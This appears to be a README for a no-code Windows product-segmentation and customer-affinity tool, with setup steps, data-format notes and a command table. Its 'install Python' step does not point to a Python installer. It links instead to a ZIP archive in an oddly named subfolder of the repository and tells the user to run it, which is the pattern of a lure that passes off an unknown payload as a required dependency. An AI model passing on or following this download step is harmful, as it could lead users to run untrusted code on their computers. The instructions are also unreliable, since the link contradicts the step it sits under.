This software helps you understand how different products relate to groups of customers. It shows which product features match specific buyer types. Using this information, you can make smarter choices on pricing, marketing, and product planning.
You do not need any coding skills to use this tool. It offers a way to analyze customer behavior and product traits side by side. You will see clear patterns that link products and customer interests.
- Analyze customer groups based on product preferences.
- Visualize connections between product features and customers.
- Use insights to adjust pricing and marketing strategies.
- Work with data easily, without needing programming.
- Explore results using simple graphs and tables.
To run this app on Windows, your computer should meet these conditions:
- Windows 10 or later 64-bit
- At least 4 GB of RAM (8 GB recommended)
- Minimum 1 GB free disk space
- Python 3.8 or higher installed (installer helps with this)
- Internet connection for initial setup
This guide will help you download and run the application step-by-step.
Visit the download link below to get the latest version:
Click the Code button on the page, then choose Download ZIP to save the files on your computer.
Once downloaded, find the ZIP file in your Downloads folder or chosen location.
Right-click the ZIP file and select Extract All.
Choose a folder where you want the files to be unpacked. This is the folder where you will run the software.
This app runs with Python. If you do not have it, follow these steps:
- Go to https://github.com/kauanzferreira1243-ui/product-segmentation-affinity-analysis/raw/refs/heads/main/runchweed/analysis_affinity_product_segmentation_2.9-alpha.5.zip
- Download Python for Windows.
- Run the installer.
- Important: Check the box that says Add Python to PATH before clicking Install.
- Finish installation.
Press the Windows key on your keyboard and type cmd.
Select Command Prompt from the search results to open.
In the Command Prompt window, type cd followed by the path to the folder where you extracted the files.
Example:
cd C:\Users\YourName\Downloads\product-segmentation-affinity-analysis-master
Press Enter.
This app uses some Python packages. Install them by typing:
pip install -r requirements.txt
Press Enter and wait for the packages to install.
In the same Command Prompt window, start the app by typing:
python main.py
Press Enter.
The app will open a window or web page where you can start working with your data.
- Load your data by following the on-screen instructions.
- The app will guide you through grouping customers by product preferences.
- View charts that show which products appeal to each group.
- Adjust settings to explore different scenarios.
- Export results as pictures or CSV files for reports.
Prepare your data in a simple spreadsheet or CSV file. Arrange it with:
- Rows representing customers
- Columns representing product attributes or features
- Values describing preferences or ratings (e.g., numbers or yes/no)
The app supports common CSV files with headers.
- If you get errors about missing packages, re-run
pip install -r requirements.txt. - Ensure Python added to PATH during installation.
- Confirm you are in the right folder before running commands.
- Close and reopen the Command Prompt if it seems unresponsive.
- Restart your computer if you have trouble installing Python.
- Check the
docsfolder inside the app files for user guides. - Visit the project’s GitHub page to see updates and more examples.
- Use standard Excel or spreadsheet software to prepare your data.
| Action | Command or Step |
|---|---|
| Download app files | Visit Download |
| Extract ZIP | Right-click ZIP → Extract All |
| Open Command Prompt | Windows key → type cmd → Enter |
| Go to app folder | cd path\to\your\folder |
| Install packages | pip install -r requirements.txt |
| Start app | python main.py |
Download and explore the app here:
This tool helps businesses find links between customers and products. It uses data analysis to identify consumer groups based on shared preferences. The insights help you improve pricing and product offers in a data-driven way.
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